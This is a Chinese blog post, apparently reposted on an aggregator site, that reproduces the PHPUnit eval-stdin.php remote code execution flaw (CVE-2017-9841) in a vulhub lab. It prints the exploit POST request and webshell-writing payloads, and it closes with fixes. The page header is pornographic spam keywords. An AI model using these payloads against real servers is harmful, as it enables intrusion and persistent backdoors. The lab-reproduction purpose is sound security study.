日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 综合教程 >内容正文

综合教程

PHPUnit漏洞复现

發(fā)布時間:2024/1/3 综合教程 25 生活家
生活随笔 收集整理的這篇文章主要介紹了 PHPUnit漏洞复现 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

簡介

漏洞環(huán)境:vulhub

參考鏈接:

https://blog.csdn.net/csacs/article/details/90640601

https://blog.csdn.net/zy15667076526/article/details/111824844

CVE-2017-9841

PHPUnit 是 PHP 程式語言中最常見的單元測試 (unit testing) 框架,通常phpunit使用composer非常流行的PHP依賴管理器進行部署,將會在當前目錄創(chuàng)建一個vendor文件夾。phpunit生產(chǎn)環(huán)境中仍然安裝了它,如果該編寫器模塊存在于Web可訪問目錄,則存在遠程代碼執(zhí)行漏洞。

composer是php包管理工具,使用composer安裝擴展包將會在當前目錄創(chuàng)建一個vendor文件夾,并將所有文件放在其中。通常這個目錄需要放在web目錄外,使用戶不能直接訪問。

phpunit是php中的單元測試工具,其4.8.19 ~ 4.8.27和5.0.10 ~ 5.6.2版本的vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php文件有如下代碼

eval('?>'.file_get_contents('php://input'));

如果該文件被用戶直接訪問到,將造成原創(chuàng)代碼執(zhí)行漏洞。

影響版本:

4.8.19 ~ 4.8.27
5.0.10 ~ 5.6.2

漏洞復現(xiàn)

啟動vulhub中的docker環(huán)境,訪問eval-stdin.php的路徑:

http://144.34.169.6:8080/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

使用bp進行抓包,將請求方式改為POST,同時將php代碼作為請求體。

POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: 144.34.169.6:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 18

執(zhí)行結果:

看博客,寫入一句話木馬:<?=file_put_contents("test.php", '<?=@eval($_REQUEST[cmd]);?>');,但是我發(fā)現(xiàn)我根本寫入不進去,提示該文件寫入權限不足:

file_put_contents(test.php): failed to open stream: Permission denied in /var/www/html/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php(3) : eval()'d code

原因是,apache使用的是www-data用戶運行,而web目錄下的文件用戶與用戶組權限均為root,eval-stdin.php所在的PHP文件夾,其他用戶只有執(zhí)行和讀權限,所以寫入失敗。

如果要寫入一句話木馬,需要將PHP目錄增加其他用戶可寫權限。

也可以用這個寫入一句話,<?php file_put_contents("shell.php",'<?php @eval($_POST[cmd]);?>');?>。

漏洞修復

生產(chǎn)環(huán)境中直接刪掉phpunit
升級phpunit版本
設置權限,禁止訪問該目錄

本博客雖然很垃圾,但所有內容嚴禁轉載

總結

以上是生活随笔為你收集整理的PHPUnit漏洞复现的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內容還不錯,歡迎將生活随笔推薦給好友。